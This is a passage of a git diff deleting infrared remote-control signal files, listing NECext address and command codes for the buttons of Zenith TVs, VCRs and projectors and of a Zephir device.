-address: 05 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir deleted file mode 100644 index d37d03111..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: INPUT_-_DBS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: VCR_PLUS_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 69 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 78 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 7D 00 00 00 -# -name: QUIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir deleted file mode 100644 index 7cd97fcd6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_-_DVD -type: parsed -protocol: NECext -address: 07 01 00 00 -command: 10 00 00 00 -# -name: INPUT_-_VIDEO -type: parsed -protocol: NECext -address: 07 01 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir deleted file mode 100644 index c1bb35d9e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 03 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 04 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 05 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 09 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 19 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 1E 00 00 00 -# -name: CHUP2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 20 00 00 00 -# -name: CHDOWN2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 21 00 00 00 -# -name: CCD -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 39 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 44 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 4C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 5B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 5C 00 00 00 -# -name: OK2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 78 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 79 00 00 00 -# -name: MENU2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 7E 00 00 00 -# -name: SIGNAL -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 96 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: F7 00 00 00 -command: A9 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: F7 00 00 00 -command: AA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir deleted file mode 100644 index ddc467563..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: flashbk -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: surf -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: dash -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: front -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: pcin -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: pipch+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: pipch- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: ratio -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: signal -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: comp/dvi -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir deleted file mode 100644 index 3756d5272..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir deleted file mode 100644 index 2629d8c0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir deleted file mode 100644 index 8ea0781b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 09 00 00 00 -# -name: prev_chan -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 23 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 63 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir deleted file mode 100644 index ac204966f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: <<_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: RECORD_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: AUDIO_OUT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: TV/TAPE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: >>_FAST_FORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 44 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 48 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 50 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 54 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 60 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 64 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6C 00 00 00 -# -name: ENT/RCL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 70 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 74 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 76 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 78 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir deleted file mode 100644 index 4a80ddb18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: B-MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 00 00 00 00 -# -name: -_HORIZONTAL -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 02 00 00 00 -# -name: H-_PULSE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 03 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 06 00 00 00 -# -name: R-MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 08 00 00 00 -# -name: +_HORIZONTAL -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0A 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0B 00 00 00 -# -name: DIG_ANALOG -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0D 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0F 00 00 00 -# -name: IN-KEY -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 10 00 00 00 -# -name: BOW -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 12 00 00 00 -# -name: IN-PIN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 13 00 00 00 -# -name: KEY -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 14 00 00 00 -# -name: G-MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1A 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1B 00 00 00 -# -name: ADJ_TOGGLE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1D 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1E 00 00 00 -# -name: LIN_C_/_LI_-_LIN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir deleted file mode 100644 index fc34e6745..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: QUIT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: -_VERTICAL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: LIN_T-B_/_L-R -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0F 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: +_VERTICAL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1D 00 00 00 -# -name: SKEW -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 23 00 00 00 -# -name: PIN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2B 00 00 00 -# -name: S-ING_/_W-M -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2D 00 00 00 -# -name: T/L_KEY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2F 00 00 00 -# -name: T/L_PIN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 31 00 00 00 -# -name: T/L_S -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir deleted file mode 100644 index 32df4bdaf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOL+ -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 01 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 02 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 04 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 05 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 06 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 07 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 08 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0C 00 00 00 -# -name: PRG+ -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0D 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 10 00 00 00 -# -name: PRG- -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 11 00 00 00 -# -name: PRT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 12 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 14 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 16 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 17 00 00 00 -# -name: TXT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 19 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 40 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 42 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 BF 00 